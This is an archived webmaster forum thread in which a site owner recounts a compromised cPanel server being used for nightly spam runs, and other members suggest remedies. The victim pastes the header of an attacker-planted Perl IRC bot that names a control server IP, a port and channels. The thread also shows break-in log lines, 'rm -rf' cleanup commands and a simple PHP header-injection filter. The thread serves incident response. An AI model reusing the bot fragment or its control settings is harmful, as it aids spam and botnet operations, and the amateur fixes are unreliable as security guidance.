Forum Moderators: phranque

Message Too Old, No Replies

My webserver is enslaved by a spammer

wmh, spam, spammers, stop spam attack, hijacked, comprimised web server

         

Phrasebase

5:36 pm on Aug 6, 2007 (gmt 0)

10+ Year Member



I have a dedicated server and access to it using WHM 11.2.0 cPanel. On this server, I have about 10 sites, all which have regular CPanel.

A hacker/spammer started launching nightly spam attacks 5 days ago, enslaving my email server to send out spam, all to Brazilian addresses and in Portuguese.

I've been fighting this around the clock with absolutely NO success. Just an hour ago, I sat there in WHM while an attack was in progress, kept clicking on MAIL QUEUE MANAGER to see 900 or so spam emails in the delivery queue, I delete them, refresh, and there's another 800 or so.. and I did this for 30 minutes.

I rebooted my server, rebooted my EXIM mail server, clicked the option in TWEAK settings to DISABLE user NOBODY from sending out email, nothing worked..

Then finally, I went to SHOW CURRENT CPU USAGE and saw a few processes that were using a lot of memory, this one in particular seemed like it was the one sending out the spam, I killed all processes by NOBODY.

Process /usr/local/apache/bin/httpd-DSSL
Owner nobody
PID 77351
CPU % 13.43%
MEM % 2
Kill Process Kill
Kill All Processes owned by nobody Kill

I returned to the mail queue and there was no more spam to be deleted. Then about 15 minutes later, it started up again, a new attack.

I killed the process above, returned to the mail queue and it stopped.

Obviously, i can't sit around and kill these attacks 24.7, I'm seeking a way to stop it for good, without my direct involvement.

I went through all of my websites and rewrote ALL of my scripts where the mail function is being used.

//---- do this to prevent spammers from enslaving my server ----
$stopspam = array("/bcc\:" => "","/Content\-Type\:/i" => "","/cc\:/i" => "","/to\:/i" => "","/\r/" => "","/\n/" => "","bcc:" => "","Content-Type:" => "","cc:" => "","to:" => "","\r" => "","\n" => "");
$as_name = strtr(strtolower($name), $stopspam);
$as_email = strtr(strtolower($email), $stopspam);
if (($as_name <> strtolower($name)) OR ($as_email <> strtolower($email)))
{
$fail = "yes";
Header("Location: ../");
exit();
}
$receive = $tome;
$mailheaders = "From: $name<$email>\r\n\r\n";
$message = "\r\n Name: $name \r\n Email: $email \r\n Message: $notes \r\n";
$syssubject = "Visitor Comments";
if (($name) AND ($email) AND (!$fail))
{
@mail($receive, stripslashes($syssubject), stripslashes($message), $mailheaders);
}

This code is suppose to prevent the attacker from adding in a BCC or CC into the email or name field and spamming using my email server. The double carraige return in the mail header should also prevent it.

I went over my 10 sites over and over and over to make sure I wasn't missing any of the MAIL commands, I even disabled some of them to make SURE each time any submission was being emailed, it went through this protocol.

However, the attacks still continue to the tune of 60,000 spam being sent out every night.

I'm looking for ANY help on this... ANY thing.. I'm beyond deseperate. And my host doesn't care a hoot to help me.

What frustrates me most... is that WHM CPanel doesn't seem to have ANY tools to enable me to fight this... For example...

1) I want to know which of the 10 websites this attack is happening on.. I have NO WAY of knowing. I've downloaded some raw access files, but they are KLUDGED hex numbers with a URL, no time or date, they don't tell me ANYTHING.

2) fabricator says "firstly rename the script. Instead of calling it formmail.cgi call it e578hcw.cgi, spammers look for scripts with common names" ... I would like to do this, but how? HOW CAN I RENAME MY FORMMAIL.CGI? I don't see any tools on either CPANEL or WHM to allow me to do this?

3) rocknbill has a SUPER good post about this topic at [webmasterworld.com...] and states... One way to fight this is to LOG everything sent to this script. I don't mean to sound dense... but um... You mean, for all of my 3 or 4 scripts, for all 10 websites, I should create a special logging file to track what is being sent out? Or is there some feature in WHM or CPanel that automatically logs the email being sent out, where it's sent out from etc..?

4) I see the WHM mail log, but it doesn't help me AT ALL.. I can look at all the bounced back spam and get the same information that the WHM mail log gives me, am I missing something here? Why isn't there a function in WHM showing me the ip address of the person who sent out the email, which website, what time, the contents, etc etc... Am I going totally crazy, or is there absolutely nothing in CPanel and WHM to help me fight this spam attack?

I'm of the opinion that the attacks happening to my web sever are NOT from a security breach in any of my php web pages, I checked them all many times and just don't see how it's possible that way.

Any idea on how to even come close to tracking down how these attacks are happening much less stopping them will be of big help.

THanks in advance for your consideration in helping me on this issue.

[edited by: engine at 8:20 am (utc) on Aug. 7, 2007]
[edit reason] See TOS [webmasterworld.com] [/edit]

Key_Master

7:20 pm on Aug 6, 2007 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member



Have you changed your account passwords?

Surely you have a file manager of some sort but even if you didn't, couldn't you FTP into your account and rename formmail.cgi?

You raw log files should be located in directory "root/var/log/". Look for a file called "maillog" (could possibly be called something else). With this information you should be able to determine exactly how these emails are being sent out and by whom.

Do a search for information on "host.allow" and "host.deny" files and how to implement them. They're locate in directory "root/etc".

Don't take this the wrong way but you need to educated yourself on administrating a dedicated server properly, especially with regards to security issues. Personally, I would have shut that server down immediately after discovering it was compromised that badly. That's a lot of spam. You could get black listed for this.

Hope this helps.

WesleyC

9:47 pm on Aug 7, 2007 (gmt 0)

10+ Year Member



If your server itself is compromised (as it sounds from the process issue you mentioned) you should definitely run a antivirus and anti-spyware scan with a good scanner.

Temporarily, at least, see if you can find a way to block nobody from starting processes. This should stop the process that's doing the spamming in its tracks, though it's not a permanent solution--try to find some logging software that tells you what's starting the process. If you can track that down and kill it, do so.

Phrasebase

12:46 am on Aug 8, 2007 (gmt 0)

10+ Year Member



Thanks for the info and advice, much appreciate it. Here's my comments:

1) yes, I changed my un and pw many times.
2) I don't run any formmail.cgi scripts.
3) My log files are too big to read, I deleted them and hoped to read them when they are smaller, like 1 week old, but they "reverted" back to the big size. I think the spammer/hacker is doing this. (read below).
4) Ok, I will look into host.allow and host.deny, thanks!
5) Yes, I agree I'm in way over my head. But honestly, I think I just might have one of the worlds top spammers I'm dealing with.
6) I have antispyware on my local machine, don't need it on the webserver, because I discovered it's not code, it's an actual person hacking into my server and abusing it.

I just done with a VERY interesting ordeal...

I battled with the hacker/spammer for 5 hours. It's a person who has Shell SSH access to my server. I got emailed a security alert that shows his attempts, how he breaks in. (I attached this below at the VERY bottom). He appears to be coming from Indonesia.

He has been enslaving my server to send out spam for quite some time now, at least the past 7 days that I know 100% for sure that he's doing this.

He sends out about 90,000 spam a day from my server at various times, mostly at night, sometimes morning. I've tried EVERYTHING to stop it but never knew how it was originating, now I do.

We played cat and mouse for 5 hours, he was trying to send packets of spam and I was deleting them. I was in WHM in the SHOW CURRENT CPU USAGE section where it lists PID's and shows the status of each.

He would launch about 20 packets of spam, and I would intercept them and KILL the process before it got sent out. At first, many got by, and he thought it was business as usual, but then I got good at deleting the packets, and within several minutes, I put his operation to a halt.

He would then check the statistics of how much of the mail got sent out, and then when he realized it didn't send, he'd move around, try different settings, and do stuff I'm not familiar with.... but I captured a LOT of his movements, in the hopes to go back and recreate his steps to see how he is doing it. (or someone can figure it out and advise me how to stop it)

I tried many things during this 4 hour period to stop him, I changed ALL of the usernames and passwords to all of the websites, even to root WHM, that didn't stop him, he was still there. I reboted the server, disabled the server, changed all kinds of settings in TWEAK SETTINGS to disable email being sent from NOBODY.. nothing worked.

So then I focused on watching his moves, capturing them, and just deleting each packet before it could be sent out.

So, here is what I know...

1) It's a live person
2) It's a kid from Indonesia as the record of the BREAKIN ATTEMPT email that was sent to me down below indicates.
3) He is cracking into the SSH, but I have all of my SSH access turned OFF for all my websites, so I don't know how he can still access via SSH when I have it all disabled for all sites on my server.
5) Most of the spam he is sending is going to addresses in Brazil and is in portuguese. I suspect he's getting paid per verifyable messages sent through, because he is very consistent about checking the stats after each batch of spam sent.
6) On my website, there was a CGI-BIN with 3 formmail.cgi scripts in it, I never put them there so I deleted them. The next day after a spam attack, I checked, and one of the files, a formmail.cgi script was left in there, and I was positive I deleted it (and 2 others) already. So I KNOW he copied it up to there. I deleted the script again, and this time, also deleted the CGI BIN directory. The next day I checked, 90k of spam was sent out, and the CGI BIN re-appeared. I deleted it again, and again it appeared.
7) I had other problems with things just re-appearing. Like log files. I feel he has backups and restores things.

During our 4 hours of playing cat and mouse, he would launch about 30 or so packets of spam, they looked like this in my WHM live CPU monitoring window:

48033 nobody 0.00% /usr/local/apache/bin/httpd -DSSL

I would just delete (KILL) each of these packets, and none of the email would be sent.

There was another type of packet being sent. For every 30 of the above packets, I would get 2 or 3 of these type of packets:

48063 mailnull 0.00% /usr/local/sbin/exim -bd -q30m

I would delete those also.

He would wait about 5-10 minutes, how long it normally takes all that 33 packets of spam to send out, and then he would check the stats to see if it sent or not and how much bounced. I would see this show up:

47996 mailnull 0.00% eximstats

I would also see this often... it looks to me like he has to keep re-entering an authorization code to maintain his access:

48028 root 0.00% /usr/local/etc/authlib/authProg

Finally, I caught him in the mywebsite.com mail section of my website:

48057 mw 0.00% /usr/local/bin/pop3d /usr/home/mw/mail/mywebsite.com/mywebsite

For 4 hours, he was trying to send out the spam, and probably wondering why he was having problems this time, so I started capturing his moves. I don't know what it means, but maybe it can shed light on what he's doing, how he's doing it, etc..

Here are a few snippets I captures of his moves ( I think the "hostmgr" and "top" commands are from me. Also, I truncated many of the DSSL packets just to abbreviate):

SNIPPET #1
Pid 5 Owner Priority Cpu % Command
48235 root 0.00% top
48234 root 0.68% /usr/local/cpanel/whostmgr/bin/whostmgr2
48233 root 0.24% whostmgrd - serving 563.55.666.777
48225 nobody 0.00% /usr/local/apache/bin/httpd -DSSL
48224 nobody 0.00% /usr/local/apache/bin/httpd -DSSL
48223 nobody 0.00% /usr/local/apache/bin/httpd -DSSL
48222 nobody 0.00% /usr/local/apache/bin/httpd -DSSL
48220 nobody 0.00% /usr/local/apache/bin/httpd -DSSL
48219 nobody 0.00% /usr/local/apache/bin/httpd -DSSL
48097 mailnull 0.00% /usr/local/sbin/exim -bd -q30m
48063 mailnull 0.00% /usr/local/sbin/exim -bd -q30m
48057 mw 0.00% /usr/local/bin/pop3d /usr/home/mw/mail/mywebsite.com/mywebsite
48028 root 0.00% /usr/local/etc/authlib/authProg
47996 mailnull 0.00% eximstats
47970 root 0.00% /usr/local/etc/authlib/authProg
47968 root 0.00% antirelayd
47962 mailnull 0.00% /usr/local/sbin/exim -tls-on-connect -bd -oX 465
47959 mailnull 0.00% /usr/local/sbin/exim -bd -q30m

SNIPPET #2
Pid 5 Owner Priority Cpu % Command
48936 root 0.00% sshd: [accepted]
48935 root 0.00% top
48934 root 0.68% /usr/local/cpanel/whostmgr/bin/whostmgr2
48933 root 0.10% whostmgrd - serving 563.55.666.777
48347 root 0.00% antirelayd
48057 mw 0.00% /usr/local/bin/pop3d /usr/home/mw/mail/mywebsite.com/mywebsite
48028 root 0.00% /usr/local/etc/authlib/authProg
47970 root 0.00% /usr/local/etc/authlib/authProg

SNIPPET#3
49116 nobody 0.00% /usr/local/apache/bin/httpd -DSSL
49110 nobody 0.00% /usr/local/apache/bin/httpd -DSSL
49109 nobody 0.00% /usr/local/apache/bin/httpd -DSSL
49108 nobody 0.00% /usr/local/apache/bin/httpd -DSSL
49107 nobody 0.29% /usr/local/apache/bin/httpd -DSSL
49106 nobody 0.00% /usr/local/apache/bin/httpd -DSSL
49098 root 0.00% /usr/local/apache/bin/httpd -DSSL
49084 mailnull 0.00% eximstats
49061 root 0.00% antirelayd
49055 mailnull 0.00% /usr/local/sbin/exim -tls-on-connect -bd -oX 465
49052 mailnull 0.00% /usr/local/sbin/exim -bd -q30m
49031 root 0.00% whostmgrd - serving 563.55.666.777
48057 mw 0.00% /usr/local/bin/pop3d /usr/home/mw/mail/mywebsite.com/mywebsite

SNIPPET#4
Pid 5 Owner Priority Cpu % Command
49697 root 0.00% /usr/local/sbin/pop3login /usr/local/bin/pop3d Maildir
49696 root 0.15% whostmgrd - serving 563.55.666.777
49695 root 0.00% top
49694 root 0.78% /usr/local/cpanel/whostmgr/bin/whostmgr2
49693 sshd 0.00% sshd: root [net]
49692 root 0.00% sshd: root [priv]
49691 root 0.10% whostmgrd - serving 563.55.666.777
49061 root 0.00% antirelayd

SNIPPET#5
50651 root 0.00% whostmgrd - serving 563.55.666.777
50648 nobody 0.00% /usr/local/apache/bin/httpd -DSSL
50646 root 0.00% top
50645 root 0.54% /usr/local/cpanel/whostmgr/bin/whostmgr2
50644 root 0.00% whostmgrd - serving 563.55.666.777
50643 nobody 0.00% /usr/local/apache/bin/httpd -DSSL
50612 nobody 0.00% /usr/local/apache/bin/httpd -DSSL
50611 nobody 0.05% /usr/local/apache/bin/httpd -DSSL
50609 nobody 0.00% /usr/local/apache/bin/httpd -DSSL
50559 root 0.00% chkservd
50494 root 0.00% antirelayd
50436 nobody 0.15% /usr/local/apache/bin/httpd -DSSL
50435 nobody 0.00% /usr/local/apache/bin/httpd -DSSL
50434 nobody 0.00% /usr/local/apache/bin/httpd -DSSL
50433 nobody 0.00% /usr/local/apache/bin/httpd -DSSL
50432 nobody 0.29% /usr/local/apache/bin/httpd -DSSL
50431 nobody 0.15% /usr/local/apache/bin/httpd -DSSL
50430 nobody 0.00% /usr/local/apache/bin/httpd -DSSL
50429 nobody 0.20% /usr/local/apache/bin/httpd -DSSL
50428 nobody 0.83% /usr/local/apache/bin/httpd -DSSL
50427 nobody 0.00% /usr/local/apache/bin/httpd -DSSL
50419 nobody 0.00% /usr/local/apache/bin/httpd -DSSL
50418 nobody 0.00% /usr/local/apache/bin/httpd -DSSL
50417 nobody 0.49% /usr/local/apache/bin/httpd -DSSL
50416 nobody 0.00% /usr/local/apache/bin/httpd -DSSL
50415 nobody 0.00% /usr/local/apache/bin/httpd -DSSL
50408 root 0.00% /usr/local/apache/bin/httpd -DSSL
48028 root 0.00% /usr/local/etc/authlib/authProg
47970 root 0.00% /usr/local/etc/authlib/authProg
47942 root 0.00% /usr/local/etc/authlib/authProg
47940 root 0.00% /usr/local/etc/authlib/authProg
47936 root 0.00% /usr/local/etc/authlib/authProg
47420 root 0.00% /usr/local/libexec/courier-authlib/authdaemond
47419 root 0.00% /usr/local/libexec/courier-authlib/authdaemond

So after 4 hours, I just started deleting EVERY processes, and when I killed the last one, I kicked myself right off the server. I can now not access any of my websites or the server itself. (at least it's stopping the spammer temporarily also).

Thanks in advance for even entertaining this absolute insanity.

LASTLY, HERE IS THE SECURITY EMAIL I GOT ABOUT HIS ATTEMPTS:

Checking setuid files and devices:

my.dnsserver.com setuid diffs:
45,46c45,47
< 1296969 -rwsr-xr-x 1 root 10 13012 Jun 23 19:24:26 2004 /usr/local/cpanel/bin/jailshell
< 1251520 -rwsr-xr-x 1 root 10 11738 Aug 4 00:18:48 2007 /usr/local/frontpage/version5.0/apache-fp/_vti_bin/fpexe
---
> 1297483 -rwsr-xr-x 1 root 10 13012 Jun 23 19:24:26 2004 /usr/local/cpanel/bin/jailshell
> 1366229 -rwsr-xr-x 1 root 10 9660 Jun 20 05:08:36 2007 /usr/local/cpanel/cgi-sys/scgiwrap
> 1250637 -rwsr-xr-x 1 root 10 11738 Aug 6 21:28:24 2007 /usr/local/frontpage/version5.0/apache-fp/_vti_bin/fpexe

Checking for uids of 0:
root 0
toor 0

Checking for passwordless accounts:

my.dnsserver.com kernel log messages:
> Timecounter "TSC" frequency 3000122542 Hz quality 800
> pid 857 (httpd), uid 65534: exited on signal 6
> pid 27639 (pkg_add), uid 0: exited on signal 11 (core dumped)
> pid 28500 (pkg_add), uid 0: exited on signal 11 (core dumped)
> pid 489 (httpd), uid 65534: exited on signal 4
> pid 901 (httpd), uid 65534: exited on signal 4
> pid 43282 (httpd), uid 65534: exited on signal 6
> pid 44462 (httpd), uid 65534: exited on signal 6
> pid 44434 (httpd), uid 65534: exited on signal 6
> pid 44429 (httpd), uid 65534: exited on signal 6
> pid 40590 (httpd), uid 65534: exited on signal 6
> pid 44655 (httpd), uid 65534: exited on signal 6
> pid 40510 (httpd), uid 65534: exited on signal 6
> pid 44698 (httpd), uid 65534: exited on signal 6
> pid 40591 (httpd), uid 65534: exited on signal 6
> pid 44953 (httpd), uid 65534: exited on signal 6
> pid 44652 (httpd), uid 65534: exited on signal 6
> pid 44645 (httpd), uid 65534: exited on signal 6
> pid 44653 (httpd), uid 65534: exited on signal 6
> pid 42031 (httpd), uid 65534: exited on signal 6
> pid 40512 (httpd), uid 65534: exited on signal 6
> pid 45092 (httpd), uid 65534: exited on signal 6
> pid 45338 (httpd), uid 65534: exited on signal 6
> pid 44952 (httpd), uid 65534: exited on signal 6
> pid 45072 (httpd), uid 65534: exited on signal 6
> pid 45564 (httpd), uid 65534: exited on signal 6
> pid 40657 (httpd), uid 65534: exited on signal 6
> pid 45602 (httpd), uid 65534: exited on signal 6
> pid 45400 (httpd), uid 65534: exited on signal 6
> pid 45012 (httpd), uid 65534: exited on signal 6
> pid 49596 (httpd), uid 65534: exited on signal 6
> pid 40656 (httpd), uid 65534: exited on signal 6

my.dnsserver.com login failures:
Aug 7 23:17:23 x71 sshd[46516]: reverse mapping checking getaddrinfo for 222.subnet222-124-30.astinet.telkom.net.id failed - POSSIBLE BREAKIN ATTEMPT!
Aug 7 23:17:23 x71 sshd[46510]: reverse mapping checking getaddrinfo for 222.subnet222-124-30.astinet.telkom.net.id failed - POSSIBLE BREAKIN ATTEMPT!
Aug 7 23:17:24 x71 sshd[46513]: reverse mapping checking getaddrinfo for 222.subnet222-124-30.astinet.telkom.net.id failed - POSSIBLE BREAKIN ATTEMPT!
Aug 7 23:17:24 x71 sshd[46508]: reverse mapping checking getaddrinfo for 222.subnet222-124-30.astinet.telkom.net.id failed - POSSIBLE BREAKIN ATTEMPT!
Aug 7 23:17:24 x71 sshd[46507]: reverse mapping checking getaddrinfo for 222.subnet222-124-30.astinet.telkom.net.id failed - POSSIBLE BREAKIN ATTEMPT!
(A TON MORE LIKES THIS BUT I ABBREVIATED)

my.dnsserver.com refused connections:

-- End of security output --

Key_Master

1:58 am on Aug 8, 2007 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member



Place this line in your hosts.deny file:

ALL : .astinet.telkom.net.id

That will keep him from gaining access to all of your TCP wrapped services, including sshd. However, if he switched to another ISP using a different hostname he could gain access again. This will buy you some time though to help you get the security issues more tightly resolved.

Realbrisk

2:01 am on Aug 8, 2007 (gmt 0)

10+ Year Member



I have Zero knowledge in webserver's, but I have read in the past that Cpanel is highly exploitable

I would do the following

>uninstall Cpanal

>sign up for these vulnerability scanning services (like Scan alert or Control scan) they should find the exploited code

Phrasebase

8:15 pm on Aug 11, 2007 (gmt 0)

10+ Year Member



Here is where I'm at. I learned a lot, maybe some assumptions I made above were not correct, but then again, maybe someone in my same exact position will find this thread, if they have the same assumptions.

I'm not 100% out of the woods yet, but made some great progress in my endeavors to hold a blow torch on these ticks. I'm not going to claim victory over them yet, and I'm well aware that boasting battle with them is just inviting them to hack more, but.. but I'd like to point out, if ever come across someone drowing and am able to lend a helping hand, I'll first ask if they've ever hacked a webserver to enslave it for spam.

Here is what I know at this point mixed with what I suspect, mostly to help anyone else in the same position and to thank those who have helped me.

First, if you are not in the hosting business, but have a dedicated server just to allow you multiple websites, fast speeds and other freedoms not offered by virtual hosting services, I would offer the following advice... be afraid, be very afraid.

The installation of Apache, PHP, SSH.. basically ALL of the components of your dedicated web server, if installed and left in it's NATURAL DEFAULT settings... is UNSECURE.. especially if you set it up a few years ago and it hasn't been upgraded.

My web server was hacked into through SSH. A *REAL NICE* feature of Apache is that whenever there is a problem with your script and it can't connect to the server, it says right there for the whole world to see, what your username is. Apparently, it doesn't do this anymore, as I upgraded to a newer version of everthing.

So, first, I upgraded apache, php, ssh, everything, to the latest release.

Of course, changed all my passwords and usernames, and then researched into "how to secure ssh". There's many tips how to do this. Suffice to say, if you leave your SSH at default settings, you are screwed, it's not to hard for the ticks to hack it.

With the new version of Apache installed, now when I get email that bounced back, it lists "X-AntiAbuse" variables. One of these variables is as follows:

X-Source-Dir: /tmp/.a

So naturally I wanted to see what this source was all about. I logged into my webserver via SSH, went to the /tmp/.a directory and I found 4 files.

The first file was called "Eita.txt". It contains 2 email addresses, which I assume are the cockroaches real email addresses so he can test and verify his spam is working.

The second email was called "eng.html", it contains the content of the spam message. Here is how it looks:

<email removed, see below>

The third file was called Eita.txt and contained over 15,000 email addresses... all the unfortunate spam victims who unfortunately for me and them, thought it was me spamming them.

And lastly, there was a ".pl" perl file which was the actual program that sends out all the spam. When this program executed, it came across in my WHM panel in the SHOW CURRENT CPU USAGE window as "m0rgan-w4s-h3r3".

Also in this /tmp directory was SEVERAL more directories just like this, and other ones similar, I don't know how many ticks were feeding off me, but looked like a few.

I deleted EVERYTHING in the /tmp directory. And that alone immediately put an end to the spam from being sent out.

Now, if you do a google search on "m0rgan-w4s-h3r3" and goto the pixel fish website, they have a great article on mod_security. I'll have to implement this into my websites before I can start to relax.

It seems by looking at my CPU Usage that I'm still being sent "packets" of instructions to send out the spam, but then since I deleted all the spam perl scripts from my /tmp directory, these commands just fail to execute in apache.

So,I'm still getting several of these packets, which look like this:

/usr/local/apache/bin/httpd -DSSL

Before, I could delete these, and the spam wouldn't be sent out, and if I didn't delete it, then I could visit the email queue and watch thousands of spam being sent out.

Now, I don't delete these packets, they just expire on their own over time... and the good news is, it's NOT able to call up the perl script to send out the spam, because I deleted all those scripts. I'm hoping the cockroach will learn about women and get a life and stop sending these packets, but I doubt it.

So my next mission is to stop these "packets" from coming in. I suspect it's being done through form fields as outlined in the pixel fish article about mod_security. But in the meantime, I'm just relieved the spam isn't being sent out anymore.

If anyone who reads this can offer me further tips/advice/gotchyas, etc... please do, I'm all ears.

[edited by: encyclo at 8:40 pm (utc) on Aug. 11, 2007]
[edit reason] let's avoid the specifics please [/edit]

bateman_ap

8:30 pm on Aug 11, 2007 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member



To be honest I would scrap the machine. Get a new machine at your ISP (or if you self host, completly wipe and start afresh, that means format, OS reinstall and application install). Even upgrading everything etc as you have done there is prob still a backdoor the hacker installed to come back and do it all again.

Yes it's a hassle, but to be honest, in the long run it is the only way you will make sure he stays away.

Oh and remember, patch, upgrade and backup frequently!

rocknbil

9:32 pm on Aug 11, 2007 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member



Coming in a bit late, but a few tidbits . . .

One way to fight this is to LOG everything sent to this script.

What this means is to create your own log from within your php script that logs all input from *any* script that accepts input. What you want to see is the raw data someone is sending to the script, it most likely never comes from the form, they do a direct post to the script from the command line. But I think that's the least of your problems:

My web server was hacked into through SSH.

I usually have an administrator set this up for me, but SSH is not much more secure than telnet if you are not using a private key. With Putty, an SSH program, you can set up a public server encryption key and a private key. The privae key is a file you keep on your computer, keep it backed up on an external disk, and protect it with your life. All SSH login attempts are refused if the public key doesn't match the private key. They can do brute attacks on the uname and pass, but without the key getting in is (next to) impossible unless there are other vulnerabilities. Sorry I can't help more on setting up Putty encryption keys, this is why I have an admin set up the pairs for me.

Phrasebase

10:21 pm on Aug 11, 2007 (gmt 0)

10+ Year Member



Thanks for the advice. I may have to do a complete rebuild, just need to exhaust all my other options.

I'm using the "last -20" command in SSH to see that he's not entering in this way. But somehow, these scripts are getting put into my /tmp directory.

I just went and found one in there a minute ago, it starts out like this...

my $processo = 'm0rgan-w4s-h3r3';^M
if (`ps uxw` =~ /m0rgan-w4s-h3r3/)^M
{^M
exit;^M
} ^M
^M
$servidor='212.241.210.160' unless $servidor;^M
my $porta='31337';^M
my @canais=("#Argentina");^M
my @adms=("Morgan","SPEED"); ^M
^M
my $linas_max=10;^M
my $sleep=3;^M
^M
my $nick = getnick();^M
my $ircname = getnick();^M
my $realname = getnick();^M

I don't know how these files get in there, and also, in my website, it creates a CGI-BIN even after I keep deleting it.

Fortunately, (to my knowledge) the spam has stopped, the stats don't show that any spam is going out, but these scripts keep appearing and my apache server gets hit by so many packets that it slows down all operations to a crawl.

The advice on writing my own script to log all actions is good.. I thought about it myself, but now hearing it from you, I'll give it a shot.

Thanks.

bateman_ap

12:16 pm on Aug 12, 2007 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member



I may have to do a complete rebuild, just need to exhaust all my other options.

Don't mean to be rude but you HAVE to do a complete rebuild. You can't be sure you have got rid of everything from the machine and every second it is still up the more you are at risk of sending out more spam (and potentially running a warez or porn ftp site, irc bot etc). Imagine getting a knock on the door from the vice squard as your server is being used to distribute child porn...

Phrasebase

7:36 am on Aug 13, 2007 (gmt 0)

10+ Year Member



Appreciate the advice, but the last thing I'm worried about is a knock on the door from vice squad, I'll be happy to help them and put this cockroach behind bars. In fact, I HOPE they knock on my door, I need help tracking down and fighting this. And lastly, I hope to help others who are in this same position, or have them help me if they beat it.

Fact is, my host doesn't listen to me, they don't lift a finger to help me, I'm 100% on my own, so my only other option is to move to a new host, and either pay for total support (which I can't really do at this point) or have the problems happen all over.

I'm not going to run and hide from this cockroach, I'm fighting and going to beat him. Unfortunately, I don't have the experience to do a total rebuild. I've asked my host how much it will cost to do it, and to just do it, but like I say, they don't answer me or any of my questions, they just wait till things terminally break, and then they fix it just enough to put it back up online.

Here is where I'm at...

1) I'm re-writing ALL of my php scripts for all my websites, putting in the logging action by action into a flatfile which I read everyday and monitor. Its going to take me several more days to re-write all my pages.

2) I keep monitoring my mail stats, and my SENT mail is back around 70 or so a day, within normal range.. so I'm certain that the spam is no longer being sent out.

3) The problem still however is that I am getting DOS attacks. The person or bot thats trying to send out the spam keeps trying, and when the spam doesn't send, it bogs down my server to a standstill.

Somehow, in my openSSH /tmp/ directory, I keep getting these per scripts and spam scripts uploaded. I go in everyday and delete them:

x# rm -rf .ICE-unix
x# rm -rf .X11-unix
x# rm -rf .X1M-unix
x# rm -rf .dontjoin
x# rm -rf .font-unix
x# rm -rf .morgan
(rm -rf deleted the entire dir and files)

Each directory contains 3 or 4 files, a perl script which does the emailing, a list of people to email, and the contents (message) of the email.

What is unclear to me is.... HOW the heck do these scripts keep getting replaced here? I run the "last -20" command and see that nobody else has been using SSH, so it must be some kind of automated program he has set up.

The main scrip that bogs down everything is this friggin "m0rgan-w4s-h3r3" script which there's only one english source on google regarding how to fight it.

Hopefully, if I follow the instructions in this 1 article about how to fight it, which involves cleaning up my PHP code for security holes so my server doesn't execute on contents of form fields, that'll solve the problem.

But in the meantime, if anyone knows either of the following, it would be very helpful...

1) I don't use any CGI scripts at all. How can I just remove ALL CGI capabilities? I delete the CGI bin, but it keeps re-appearing.

2) When my webserver gets clogged and barely runs anymore, I go int and see that there are 1 or 2 scripts running that have brought it to a near stand still.. "m0rgan-w4s-h3r3". How can I tell my server to NEVER run that friggin script?

3) When these new sirectory and spam scripts appear in my SSH /tmp/ directory.. how can I find out who placed them there, when? how? where they originated from? etc..? It would help me to be able to track down the source and so then shut down the source.

Thanks.

WesleyC

1:36 pm on Aug 13, 2007 (gmt 0)

10+ Year Member



It sounds like you need a new host. I don't know who you're hosting with currently, but the service you've described is appalling.

You can probably switch to a new host with relative ease. It'd certainly be less of a hassle than trying to deal with the infected machine with your current host!

Providers such as Bluehost, Dreamhost, and Apollo Hosting all have a good reputation for service and reliability. I highly suggest you look into one of them.

Phrasebase

4:23 pm on Aug 13, 2007 (gmt 0)

10+ Year Member



Thanks, I have an unbelievably bad host. I'd mention them but I don't want to give them a bad name, let's just say, it's been a challenge being with them. But I feel married to them, and they are very affordable. I'm polite and courteous to them and try my best not to yell fire, but it doesn't matter, they just wait till my webserver is 100% down, then they fix it. Regardless, I get no reply for anything. I feel at times, it's good for me, cause it forces me to learn.

Here is where I'm at.. I'm of the opinion, all I have to do is go through my SSH directory by directory and compare it with a "normal" SSH structure of a webserver, and then see what belongs and what doesn't, and perhaps equally as important, to check the permissions settings, see whats appropriate, whats not. My guess is, if I do thoroughly, it'll work.

Apparently, there should be this file: /usr/local/bin/check_file_security
to allow me to check security, but it's gone. Likewise, the "restart" ssh command is gone.. I'm pretty sure the hacker deleted these files. And therefore, I think he also changed the permissions of the ones he needs to 777 so he can continue gaining access, and I'm sure he added many more that I'm unaware of.

If anyone can point me to a source of what a normal webserver directory structure looks like, the files in it, and the permissions, that would be MOST useful.. then I'll just go through mine and start wiping away everything that doesn't fit.

I'm doing that currently, but being careful...keeping a log of all CHMOD changes I make, and instead of deleting files, just renaming them, and keeping a log of all this, so I can go back and change it back if something breaks.

Key_Master

9:45 pm on Aug 13, 2007 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member



Check out your cron files in root/etc.

Lorel

2:40 am on Aug 14, 2007 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member Top Contributors Of The Month



I'm not a programmer but could this possibly be related to an open DNS server?

mjwalshe

12:57 pm on Aug 14, 2007 (gmt 0)

10+ Year Member



Re how does scum keep geting back in they probaly have some backdoor intsalled - probaly hiding in some legitamate program.

I think the start agian from scratch is your best option.

We have had a few #*$!wits from idonesia take some of our sites they try and jack some of our scripts and our host shuts down the site.

I did manage to back track and found some router that had no authentication I just changed the admin pasword for them - unfortuletly it wasnt a ciso other wise id have #*$!ed it up big time.

Wlauzon

6:50 pm on Aug 16, 2007 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member



...I have an unbelievably bad host. I'd mention them but I don't want to give them a bad name....

Somehow that just does not compute.

londrum

9:31 pm on Aug 16, 2007 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member Top Contributors Of The Month



presumably you've got a back-up of your entire website. if you can't reinstall the system then why don't you at least try and delete the entire website. delete the whole htdocs folder, or public_html folder or whatever it is called, plus any private folders that lie outside of the root, and then just upload it all again. probably won't get rid of him but at least you don't have to touch the system files to do that.

and if the files in the cgi-bin keep reappearing when you delete them, then try leaving them there - but add a line or two so they don't do anything. but maybe it checks the file size. so you might want to leave it the same size or it will get overwritten.

this is all band-aid stuff though. like the other guy says, you need to dump the lot and start again. even if you finally stop all his stuff from going out, you still can't be 100% sure he won't get back in later.